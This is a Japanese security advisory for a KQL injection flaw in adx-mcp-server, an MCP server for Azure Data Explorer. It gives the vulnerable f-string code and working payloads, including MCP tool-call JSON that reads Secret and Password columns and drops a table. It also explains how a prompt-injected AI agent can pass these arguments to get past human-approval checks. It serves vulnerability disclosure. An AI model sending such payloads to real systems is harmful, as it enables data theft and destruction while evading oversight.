
KQLインジェクションがadx-mcp-serverのtable_nameパラメータ経由で発生 — CVSS 8.8
深刻度: 高 (CVSS 8.8)
CWE: CWE-943 — データクエリロジックにおける特殊要素の不適切な無害化
影響を受けるバージョン: adx-mcp-server <= 0.1.0 (コミット 48b2933)
勧告: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980
adx-mcp-server の3つの MCP ツールは、table_name パラメータを f-string を介して KQL (Kusto クエリ言語) クエリに直接挿入します。攻撃者またはプロンプトインジェクションを受けた AI エージェントは、Azure Data Explorer クラスター内の任意のテーブルを読み取り、管理コマンド (.drop table) を実行したり、任意の分析クエリを実行したりできます — 「安全な」メタデータツールと生の execute_query ツールの間の信頼境界をバイパスします。
awesome-mcp-servers リストを調べて、クラウドデータプラットフォームをラップする MCP サーバーを特に探していました — これらは AI エージェントにデータベースへの直接アクセスを提供するように設計されており、MCP ツールのパラメータは攻撃者が完全に制御できるため (信頼できないデータを処理する LLM は、悪意のあるツール引数を渡すようにプロンプトインジェクションされる可能性があります)、リスクが高いからです。
adx-mcp-server が目に留まりました: エンタープライズ環境で使用される Kusto ベースの分析プラットフォームである Azure Data Explorer をラップしています。server.py を開き、ツールパラメータを含む f-string を検索しました。30秒で3件ヒットしました: f"{table_name} | getschema"、f"{table_name} | sample {sample_size}"、f".show table {table_name} details"。
興味深い点は信頼境界のバイパスです: サーバーは生の execute_query ツール (MCP クライアントが人間の承認を要求する可能性がある) と、これらの「安全な」メタデータ検査ツール (自動承認される) の両方を公開しています。メタデータツールを介したインジェクションにより、クライアントが適用する承認ポリシーをバイパスできます。これがこの問題を「インジェクションバグ」から実際のセキュリティ境界違反に押し上げた理由です。
KQL のコメント構文 (//) により、バイパスは簡単でした — // を追加して元のクエリの残りをコメントアウトし、任意のクエリを実行します。
ファイル: src/adx_mcp_server/server.py
# 行 228 — get_table_schema
query = f"{table_name} | getschema"
# 行 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"
# 行 268 — get_table_details
query = f".show table {table_name} details"
3つすべてが MCP ツールの引数から table_name を検証なしで直接 client.execute(config.database, query) に渡します。
KQL では | によるクエリ演算子のパイプと、. で始まる管理コマンドの実行が可能です。// 文字は行コメントを開始します。これにより、f-string の挿入が簡単に可能になります:
f"{table_name} | getschema" → | project Secret // を追加して | getschema をコメントアウトf".show table {table_name} details" → \n.drop table を注入して管理コマンドを連鎖生の execute_query ツールを超えて重要である理由: MCP クライアントは「安全な」読み取り専用ツール (自動承認) と生の実行ツール (確認が必要) を区別することがよくあります。インジェクションは「安全な」メタデータツールを標的とし、承認境界をバイパスします。
完全なデモについては poc.py を参照してください。主要なペイロード:
# get_table_schema によるデータ窃取
# f"{table_name} | getschema" は次のようになる:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // が "| getschema" をコメントアウト; クエリは sensitive_data の列を読み取る
table_name = "sensitive_data | project Secret, Password | take 100 //"
# get_table_details による破壊的な管理コマンド
# f".show table {table_name} details" は次のようになる:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"
MCP ツール呼び出し:
{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}
.drop table、.drop extents などの管理コマンドtable_name 値を渡すように操作され、プロンプトインジェクションを完全なデータアクセスに変える可能性があります